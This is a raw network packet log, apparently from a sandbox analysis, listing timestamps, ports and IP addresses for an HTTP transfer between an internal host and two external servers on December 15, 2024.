Dec 15, 2024 11:59:49.127983093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.128032923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.129946947 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.129988909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.130064011 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.130106926 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.131999016 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.132045031 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.139514923 CET	49826	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:49.237909079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.237989902 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.237993956 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.238087893 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.238903046 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.239063978 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.239286900 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.239343882 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.239343882 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.239392042 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.241399050 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.241449118 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.241523981 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.241566896 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.243477106 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.243521929 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.243536949 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.243580103 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.246124029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.246169090 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.246309996 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.246354103 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.247623920 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.247663975 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.247746944 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.247786999 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.249566078 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.249613047 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.249653101 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.249694109 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.251529932 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.251575947 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.251672029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.251715899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.253437996 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.253482103 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.253573895 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.253619909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.255284071 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.255337000 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.255363941 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.255407095 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.257126093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.257185936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.257265091 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.257313967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.258946896 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.258997917 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.259044886 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.259092093 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.259272099 CET	9270	49826	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:49.260776997 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.260823011 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.260857105 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.260909081 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.262567043 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.262665987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.262824059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.264435053 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.264522076 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.264524937 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.264560938 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.266225100 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.266349077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.266532898 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.268027067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.268075943 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.268110037 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.268155098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.269869089 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.269952059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.270052910 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.270097971 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.271686077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.271735907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.271837950 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.271881104 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.273562908 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.273612976 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.273719072 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.273763895 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.275373936 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.275424957 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.275482893 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.275527000 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.277164936 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.277210951 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.277249098 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.277292967 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.279022932 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.279073954 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.279119015 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.279164076 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.280791044 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.280836105 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.280891895 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.280932903 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.282643080 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.282692909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.282723904 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.282771111 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.284441948 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.284493923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.284542084 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.284589052 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.286278963 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.286344051 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.286362886 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.286391973 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.288053036 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.288104057 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.288212061 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.288280010 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.289887905 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.289952993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.289972067 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.290015936 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.291690111 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.291737080 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.291788101 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.291831970 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.293504000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.293548107 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.293570995 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.293621063 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.295352936 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.295401096 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.295502901 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.295547962 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.297180891 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.297236919 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.297255993 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.297297955 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.298976898 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.299026012 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.299149036 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.299197912 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.300769091 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.300821066 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.300877094 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.300925016 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.302618027 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.302668095 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.302714109 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.302759886 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.304496050 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.304547071 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.304589033 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.304631948 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.306231976 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.306277990 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.306325912 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.306368113 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.308060884 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.308111906 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.308144093 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.308187008 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.309875011 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.309902906 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.309919119 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.309952021 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.311778069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.311832905 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.311882019 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.311924934 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.313615084 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.313668013 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.313824892 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.313868999 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.315752029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.315804005 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.315823078 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.315865993 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.317148924 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.317192078 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.317251921 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.317293882 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.318974018 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.319026947 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.319077969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.319134951 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.320787907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.320863008 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.320883036 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.320950031 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.322607994 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.322665930 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.322758913 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.322803974 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.324544907 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.324589968 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.324728966 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.324774027 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.326519966 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.326565981 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.326566935 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.326610088 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.328064919 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.328110933 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.328196049 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.328238010 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.329956055 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.330015898 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.330035925 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.330082893 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.331835985 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.331907034 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.331962109 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.332004070 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.333581924 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.333631992 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.333673000 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.333717108 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.430322886 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.430377007 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.430435896 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.430437088 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.430975914 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.431025982 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.431157112 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.431201935 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.432598114 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.432658911 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.432673931 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.432718039 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.434159994 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.434212923 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.434242010 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.434284925 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.435600996 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.435658932 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.435771942 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.435816050 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.437098026 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.437143087 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.437241077 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.437289000 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.438688040 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.438746929 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.438792944 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.438836098 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.440282106 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.440335989 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.440361977 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.440406084 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.441535950 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.441581964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.441658020 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.441704035 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.442981958 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.443037033 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.443085909 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.443130970 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.444458961 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.444510937 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.444569111 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.444614887 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.445858002 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.445914030 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.445955038 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.445998907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.447253942 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.447305918 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.447362900 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.447408915 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.448652029 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.448699951 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.448746920 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.448791027 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.450051069 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.450102091 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.450186014 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.450232983 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.451416969 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.451466084 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.451471090 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.451518059 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.452778101 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.452825069 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.452857971 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.452902079 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.454246998 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.454308033 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.454344034 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.454391956 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.455451965 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.455502033 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.455502987 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.455550909 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.456839085 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.456888914 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.456932068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.456978083 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.458117008 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.458168030 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.458208084 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.458252907 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.459440947 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.459491014 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.459497929 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.459544897 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.460758924 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.460818052 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.460858107 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.460903883 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.462085962 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.462131977 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.462133884 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.462176085 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.463401079 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.463449955 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.463495970 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.463541985 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.464710951 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.464756012 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.464854002 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.464899063 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.466042995 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.466089964 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.466123104 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.466164112 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.467339993 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.467387915 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.467453957 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.467499971 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.468678951 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.468727112 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.468837976 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.468885899 CET	49857	80	192.168.2.4	185.215.113.16
Dec 15, 2024 11:59:49.469994068 CET	80	49857	185.215.113.16	192.168.2.4
Dec 15, 2024 11:59:49.470042944 CET	49857	80	192.168.2.4	185.215.113.16
